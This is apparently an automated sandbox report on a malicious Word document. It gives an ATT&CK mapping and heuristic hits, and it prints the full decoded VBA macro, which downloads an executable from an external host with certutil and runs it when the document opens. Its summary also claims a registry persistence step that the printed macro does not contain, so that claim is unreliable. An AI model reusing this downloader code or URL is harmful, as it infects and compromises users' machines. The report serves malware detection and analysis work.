MALICIOUS
358
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1218.011 System Binary Proxy Execution: Rundll32
T1140 Deobfuscate/Decode Files or Information
T1566.001 Spearphishing Attachment
The VBA macro within the document is designed to execute a series of commands. It first reconstructs a URL to download an executable file, then uses certutil.exe to decode and save it to a temporary location. Finally, it executes the downloaded payload. The macro also attempts to establish persistence by writing to the registry. The presence of the 'Document_Open' subroutine and the 'Shell()' call strongly indicate a malicious downloader.
Heuristics 11
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
gj = pdjgqsd.ParentWindow.clipboardData.setData("Text", "") Shell (trfutyjnih) End Sub -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
ClipboardText = pdjgqsd.ParentWindow.clipboardData.GetData("text") eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False rthybfhd (60) -
Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URLVBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.Matched line in script
gj = pdjgqsd.ParentWindow.clipboardData.setData("Text", "") Shell (trfutyjnih) End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\filename.bbc", "bbc", "exe") Set pdjgqsd = CreateObject("htmlfile") ff = pdjgqsd.ParentWindow.clipboardData.setData("Text", hh) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Document_Open() fb = Replace(("http://alobitanbd.com/css/Information.bbc"), "bbc", "exe") -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
hh = Replace(fb, "qsohf", "https://") trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\filename.bbc", "bbc", "exe") Set pdjgqsd = CreateObject("htmlfile") -
Reference to certutil (download/decode) high SC_STR_CERTUTILReference to certutil (download/decode)
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://alobitanbd.com/css/Information.bbc Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1086 bytes |
SHA-256: 7450463df8789c5b4a48b870e4a9a31e2594ff64245f94b11b5ea0cd8449f5ac |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
fb = Replace(("http://alobitanbd.com/css/Information.bbc"), "bbc", "exe")
hh = Replace(fb, "qsohf", "https://")
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\filename.bbc", "bbc", "exe")
Set pdjgqsd = CreateObject("htmlfile")
ff = pdjgqsd.ParentWindow.clipboardData.setData("Text", hh)
ClipboardText = pdjgqsd.ParentWindow.clipboardData.GetData("text")
eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False
rthybfhd (60)
gj = pdjgqsd.ParentWindow.clipboardData.setData("Text", "")
Shell (trfutyjnih)
End Sub
Sub rthybfhd(sec)
Dim temp
temp = Timer
Do While Timer - temp < sec
Loop
End Sub
Attribute VB_Name = "NewMacros"
Sub test()
'
' test Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.